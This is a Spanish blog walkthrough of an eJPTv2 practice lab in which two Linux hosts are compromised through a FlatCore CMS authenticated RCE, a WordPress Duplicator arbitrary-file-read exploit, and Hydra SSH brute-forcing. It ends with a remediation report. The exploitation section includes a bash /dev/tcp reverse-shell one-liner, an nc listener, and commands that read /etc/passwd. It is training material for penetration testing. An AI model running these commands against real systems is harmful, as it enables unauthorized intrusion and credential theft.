Host & Network Penetration (eJPT)

xhetic

xhetic

@xhetic

eJPTCTFScanning
Host & Network Penetration (eJPT)

📚 Esta publicación pertenece a la colección:

Host & Network Penetration Testing: Exploitation CTF 1

Este post trata sobre la resolución de un laboratorio de práctica de pentesting enfocado en la preparación para la certificación eJPTv2.

El escenario consiste en identificar y explotar vulnerabilidades en dos máquinas Linux objetivo. Analizaremos aplicaciones web y servicios para descubrir debilidades, usaremos credenciales conocidas, configuraciones inseguras y plugins vulnerables para comprometer los sistemas y obtener las flags.

He enfocado el laboratorio siguiendo la metodología típica: Pre-compromiso > Enumeración > Explotación > Post-Explotación.

1. Pre-Compromiso

Lo primero es tener claros los objetivos y el alcance del laboratorio.

Objetivos:

  1. Target 1: Identify and exploit the vulnerable web application running on target1.ine.local and retrieve the flag from the root directory. The credentials admin:password1 may be useful.
  2. Target 1: Further, identify and compromise an insecure system user on target1.ine.local.
  3. Target 2: Identify and exploit the vulnerable plugin used by the web application running on target2.ine.local and retrieve the flag3.txt file from the root directory.
  4. Target 2: Further, identify and compromise a system user requiring no authentication on target2.ine.local.

Alcance:

IPHostname
192.235.129.3target1.ine.local
192.235.129.4target2.ine.local

2. Reconocimiento

Primero, empiezo visitando los sitios web para ver a qué hay por ahí.

En target1.ine.local, observo una página desarrollada en FlatCore CMS. Como no sé lo que es, lo busco en Google y, para mi sorpresa, veo que en los resultados hay más entradas haciendo referencia a vulnerabilidades del CMS que información sobre el software en sí.

Observando más la página, veo un texto interesante:

"You can edit this page in the ACP. You can also add other pages here."

Ese "ACP" es un enlace a http://target1.ine.local/acp/, un sitio que me pide usuario y contraseña. Además, en la página principal también se observa un formulario de login.

Pasamos a la segunda página (target2.ine.local). Esta es mucho más simple, parece ser una instalación básica de WordPress. No hay nada relevante a simple vista, solo la típica entrada de ejemplo "Hello World" y el login en /wp-login/.

3. Enumeración

Ya sabemos algunos vectores de ataque básicos, pero vamos a realizar una enumeración activa para conseguir la máxima información posible.

Para ambos objetivos lanzo el mismo escaneo con Nmap: nmap -sV -n IP

Resultados en Target 1:

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11
80/tcp  open  http    Apache httpd 2.4.41 ((Ubuntu))
MAC Address: 02:42:C0:EB:81:03 (Unknown)

Resultados en Target 2:

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11
80/tcp  open  http    Apache httpd 2.4.41 ((Ubuntu))
MAC Address: 02:42:C0:EB:81:04 (Unknown)

Literalmente la misma respuesta. Sospecho que el equipo base es el mismo, pero la MAC cambia.

Ahora lanzo un script de nmap para encontrar vulnerabilidades de manera rápida y superficial:
nmap --script vuln -p22,80 IP

Para el primer objetivo, el script me hace un HTTP-enum bastante interesante:

http-enum: 
|   /rss.php: RSS or Atom feed
|   /robots.txt: Robots file
|   /content/: Potentially interesting folder
|   /core/: Potentially interesting folder
|   /install/: Potentially interesting folder
|   /modules/: Potentially interesting folder
|_   ...

Para el segundo objetivo, la enumeración es más jugosa. Me indica la versión de WordPress (6.1) y enumera un usuario:

http-enum: 
|   /wp-login.php: Possible admin folder
|   /: WordPress version: 6.1
|   /wp-login.php: Wordpress login page.
|_  ...
 
http-wordpress-users: 
|_ Username found: admin

4. Explotación (Target 1)

Vamos a explotar el primer objetivo.

Objetivo: Identify and exploit the vulnerable web application running on target1.ine.local and retrieve the flag from the root directory. The credentials admin:password1 may be useful.

En el propio enunciado nos dan las credenciales admin:password1. Las pruebo en http://target1.ine.local/acp/acp.php y funcionan. Tengo acceso al backend.

Investigando dentro, confirmo que es FlatCore versión 2.0.7. Hago una búsqueda rápida en searchsploit:

searchsploit flatcore 2.0.7
# Resultado:
FlatCore CMS 2.0.7 - Remote Code Execution (RCE) (Authenticated)    |   php/webapps/50262.py

Perfe, es un RCE que requiere autenticación (la cual ya tengo). Me traigo el exploit, analizo como se utiliza y lo lanzo:

searchsploit -m 50262.py
cat 50262.py
python3 50262.py http://target1.ine.local admin password1
 
# Resultado:
$

Boom shakalaka.

Ya puedo ejecutar comandos (RCE) en el equipo víctima. Si hago un whoami obtengo www-data.

Para trabajar cómodo, me voy a sacar una Reverse Shell:

  1. En mi equipo (atacante): nc -lvnp 4444
  2. En la víctima (vía RCE): bash -c 'bash -i >& /dev/tcp/192.235.129.2/4444 0>&1'

Qué buena, Diddy. Ya tengo la shell interactiva.

Ahora busco un poco por el sistema, voy al directorio raíz y ahí veo flag1.txt. Le hago un cat y primera flag conseguida.

5. Post-Explotación (Target 1)

Vamos con el segundo objetivo: Further, identify and compromise an insecure system user on target1.ine.local.

Revisando el /etc/passwd o la carpeta /home, veo al usuario iamaweakuser. El nombre lo dice todo, así que le voy a meter un bruteforce con Hydra:

hydra -l iamaweakuser -P /usr/share/wordlists/metasploit/unix_passwords.txt ssh://192.235.129.3 -t 4

Perfe Diddy, en cuestión de 1 minuto consigo la contraseña: "angel".

Desde la terminal donde tenía la shell con www-data, hago su iamaweakuser, pongo la contraseña y listo. Ya estamos dentro con el usuario de este chaval.

En su directorio /home/iamaweakuser encontramos la flag2.txt.

6. Explotación (Target 2)

Venga, ahora a por el segundo servidor (WordPress 6.1).

Objetivo: Identify and exploit the vulnerable plugin used by the web application running on target2.ine.local and retrieve the flag3.txt file from the root directory..

Como el enunciado sugiere algo de plugins, uso WPScan en modo agresivo para intentar enumerarlos:

wpscan --url http://target2.ine.local --enumerate p --plugins-detection aggressive

La herramienta me devuelve dos resultados clave:

  1. Akismet: (Versión desactualizada, pero no encuentro exploits claros).
  2. Duplicator: Versión 1.3.26.

Busco en searchsploit para Duplicator y encuentro lo que hay que encontrar:

searchsploit duplicator
# Resultado:
Wordpress Plugin Duplicator 1.3.26 - Unauthenticated Arbitrary File Read    |   php/webapps/50420.py

Lo descargo, analizo su uso y lo pruebo leyendo el /etc/passwd:

searchsploit -m 50420
cat 50420.py
python3 50420.py http://192.235.129.4 /etc/passwd

Gracias al dios Diddy, esto funciona a la perfección. El exploit nos permite leer archivos arbitrarios sin autenticación.

En el /etc/passwd descubro un usuario llamado: iamacrazyfreeuser.

El giro de guion (Flags 3 y 4)

Con el usuario iamacrazyfreeuser descubierto, decido meterle otro Hydra al SSH (Target 2) igual que hice con el Target 1:

hydra -l iamacrazyfreeuser -P /usr/share/wordlists/metasploit/unix_passwords.txt ssh://192.235.129.4 -t 4

En segundos, me encuentra no una, sino 4 contraseñas muy inseguras (incluyendo 123456, admin, etc.).

Y mi sorpresa esque he ido a conectarme y el cabronazo no te pide ni contraseña. Sí que está loco, sí.

Nada más entrar veo un archivo llamado flag4.txt.

Pero espera, esta es la flag 4 y estamos intentando conseguir la 3... jajaja

Resulta que sin querer he hecho el Objetivo 4 (Further, identify and compromise a system user requiring no authentication on target2.ine.local.).

Volvamos atrás para el Objetivo 3 (Identify and exploit the vulnerable plugin used by the web application running on target2.ine.local and retrieve the flag3.txt file from the root directory.).

El exploit de Duplicator es un Arbitrary File Read. Seguramente lo que quiere el laboratorio es que lea la flag directamente con el exploit en lugar de entrar por SSH.

Probemos:

python3 50420.py http://192.235.129.4 /flag3.txt

Exacto jefe, ahí está el contenido de la flag. Misión cumplida.

7. Reporte Ejecutivo

A continuación se presenta un resumen de los hallazgos de seguridad encontrados durante la auditoría a los sistemas target1 y target2.

Resumen de Hallazgos

Se han comprometido exitosamente ambos objetivos logrando acceso administrativo y exfiltración de datos sensibles (Flags). Los sistemas presentan vulnerabilidades críticas debido a software desactualizado y configuraciones de credenciales débiles.

Detalle de Vulnerabilidades

SeveridadVulnerabilidadDescripciónRecomendación
CríticaRCE en FlatCore CMSLa versión 2.0.7 de FlatCore permite ejecución remota de código a usuarios autenticados. Combinado con credenciales débiles, permite control total del servidor.Actualizar FlatCore a la última versión y restringir el acceso al panel de administración (ACP).
AltaArbitrary File Read (WordPress)El plugin Duplicator (v1.3.26) permite a atacantes no autenticados leer archivos sensibles del sistema (como /etc/passwd o datos de configuración).Actualizar inmediatamente el plugin Duplicator o eliminarlo si no está en uso.
AltaCredenciales Débiles (SSH)El usuario iamaweakuser utilizaba una contraseña presente en diccionarios comunes ("angel").Implementar políticas de contraseñas robustas y uso de fail2ban.
AltaConfiguración Insegura SSHEl usuario iamacrazyfreeuser permite acceso SSH sin requerir contraseña o con credenciales triviales por defecto.Deshabilitar el acceso SSH sin contraseña (PermitEmptyPasswords no) y eliminar usuarios de prueba.

Conclusión

El laboratorio ha demostrado la importancia de mantener los CMS y sus plugins actualizados, así como la necesidad crítica de auditar las cuentas de usuario del sistema para evitar contraseñas triviales o configuraciones de acceso nulo.

La resolución técnica y el hackeo de las máquinas son 100% cosecha propia, pero he usado IA para que me eche un cable con la redacción y el formato para que el post quede profesional y no os comáis un muro de texto infumable.